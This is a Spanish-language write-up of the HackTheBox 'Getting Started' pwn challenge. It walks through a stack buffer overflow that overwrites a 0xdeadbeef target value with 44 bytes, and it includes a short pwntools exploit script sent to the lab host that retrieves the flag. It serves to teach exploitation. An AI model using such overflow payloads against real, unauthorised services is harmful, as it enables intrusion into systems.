xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Getting Started



Enumeración


Además de un host se nos proporciona un zip que al descomprimirlo nos deja varios archivos, entre ellos una flag falsa, un script en python y un binario compilado

❯ ls
 glibc   flag.txt   gs   wrapper.py  

Al conectarnos con netcat de como esta estructurada la pila e instrucciones

❯ netcat 188.166.152.84 32451

Stack frame layout 

|      .      | <- Higher addresses
|      .      |
|_____________|
|             | <- 64 bytes
| Return addr |
|_____________|
|             | <- 56 bytes
|     RBP     |
|_____________|
|             | <- 48 bytes
|   target    |
|_____________|
|             | <- 40 bytes
|  alignment  |
|_____________|
|             | <- 32 bytes
|  Buffer[31] |
|_____________|
|      .      |
|      .      |
|_____________|
|             |
|  Buffer[0]  |
|_____________| <- Lower addresses


      [Addr]       |      [Value]       
-------------------+-------------------
0x00007ffc3a53fe50 | 0x0000000000000000 <- Start of buffer
0x00007ffc3a53fe58 | 0x0000000000000000
0x00007ffc3a53fe60 | 0x0000000000000000
0x00007ffc3a53fe68 | 0x0000000000000000
0x00007ffc3a53fe70 | 0x6969696969696969 <- Dummy value for alignment
0x00007ffc3a53fe78 | 0x00000000deadbeef <- Target to change
0x00007ffc3a53fe80 | 0x0000563333f7a800 <- Saved rbp
0x00007ffc3a53fe88 | 0x00007fb950c21c87 <- Saved return address
0x00007ffc3a53fe90 | 0x0000002000000000
0x00007ffc3a53fe98 | 0x00007ffc3a53ff68


After we insert 4 "A"s, (the hex representation of A is 0x41), the stack layout like this:


      [Addr]       |      [Value]       
-------------------+-------------------
0x00007ffc3a53fe50 | 0x0000000041414141 <- Start of buffer
0x00007ffc3a53fe58 | 0x0000000000000000
0x00007ffc3a53fe60 | 0x0000000000000000
0x00007ffc3a53fe68 | 0x0000000000000000
0x00007ffc3a53fe70 | 0x6969696969696969 <- Dummy value for alignment
0x00007ffc3a53fe78 | 0x00000000deadbeef <- Target to change
0x00007ffc3a53fe80 | 0x0000563333f7a800 <- Saved rbp
0x00007ffc3a53fe88 | 0x00007fb950c21c87 <- Saved return address
0x00007ffc3a53fe90 | 0x0000002000000000
0x00007ffc3a53fe98 | 0x00007ffc3a53ff68


After we insert 4 "B"s, (the hex representation of B is 0x42), the stack layout looks like this:


      [Addr]       |      [Value]       
-------------------+-------------------
0x00007ffc3a53fe50 | 0x4242424241414141 <- Start of buffer
0x00007ffc3a53fe58 | 0x0000000000000000
0x00007ffc3a53fe60 | 0x0000000000000000
0x00007ffc3a53fe68 | 0x0000000000000000
0x00007ffc3a53fe70 | 0x6969696969696969 <- Dummy value for alignment
0x00007ffc3a53fe78 | 0x00000000deadbeef <- Target to change
0x00007ffc3a53fe80 | 0x0000563333f7a800 <- Saved rbp
0x00007ffc3a53fe88 | 0x00007fb950c21c87 <- Saved return address
0x00007ffc3a53fe90 | 0x0000002000000000
0x00007ffc3a53fe98 | 0x00007ffc3a53ff68

◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉
◉                                                                                                 ◉
◉  Fill the 32-byte buffer, overwrite the alginment address and the "target's" 0xdeadbeef value.  ◉
◉                                                                                                 ◉
◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉◉  

>>

Analizemos poco a poco, al inicio se nos muestra como esta conformada la pila y que son necesarios 40 bytes para llegar al inicio del target, este finaliza a los 48 bytes

Stack frame layout 

|      .      | <- Higher addresses  
|      .      |
|_____________|
|             | <- 64 bytes
| Return addr |
|_____________|
|             | <- 56 bytes
|     RBP     |
|_____________|
|             | <- 48 bytes
|   target    |
|_____________|
|             | <- 40 bytes
|  alignment  |
|_____________|
|             | <- 32 bytes
|  Buffer[31] |
|_____________|
|      .      |
|      .      |
|_____________|
|             |
|  Buffer[0]  |
|_____________| <- Lower addresses

Asi que con 48 bytes sobreescribimos el valor completo del target sin embargo nos piden que cambiemos la cadena deadbeef que tiene 4 bytes en lugar de 8 asi que solo necesitamos 44 de esta manera nos quedaria 0x00000000 y los 4 bytes

0x00007ffc3a53fe78 | 0x00000000deadbeef <- Target to change  


Explotación


Con python podemos crear una cadena con la letra A que se repita 44 veces

❯ python3 -q
>>> "A" * 44
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
>>>

Al enviar la cadena de 44 bytes sobreescribimos deadbeef y nos muestra la flag

>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

      [Addr]       |      [Value]       
-------------------+-------------------
0x00007ffe3e564220 | 0x4141414141414141 <- Start of buffer
0x00007ffe3e564228 | 0x4141414141414141
0x00007ffe3e564230 | 0x4141414141414141
0x00007ffe3e564238 | 0x4141414141414141
0x00007ffe3e564240 | 0x4141414141414141 <- Dummy value for alignment  
0x00007ffe3e564248 | 0x0000000041414141 <- Target to change
0x00007ffe3e564250 | 0x000055b11e0a5800 <- Saved rbp
0x00007ffe3e564258 | 0x00007efe8be21c87 <- Saved return address
0x00007ffe3e564260 | 0x0000002000000000
0x00007ffe3e564268 | 0x00007ffe3e564338

HTB{b0f_tut0r14l5_4r3_g00d}

[-] You failed!

Podemos automatizar esto en un script que cree una conexión con el argumento host:port que le pasemos, envie los bytes y reciba la linea de la flag

#!/usr/bin/python3
from pwn import log, remote, sys

if len(sys.argv) < 2:
    log.failure(f"Uso: python3 {sys.argv[0]} <host:port>")
    sys.exit(1)

host, port = sys.argv[1].split(":")
shell = remote(host, port)

payload = b"A" * 44

shell.sendline(payload)

flag = shell.recvline_contains(b"HTB").strip().decode()  

log.success(f"Flag: {flag}")

Al ejecutarlo con host:port como argumento envia el payload y recibimos la flag

❯ python3 exploit.py 188.166.152.84:30284
[+] Opening connection to 188.166.152.84 on port 30284: Done  
[+] Flag: HTB{b0f_tut0r14l5_4r3_g00d}
[*] Closed connection to 188.166.152.84 port 30284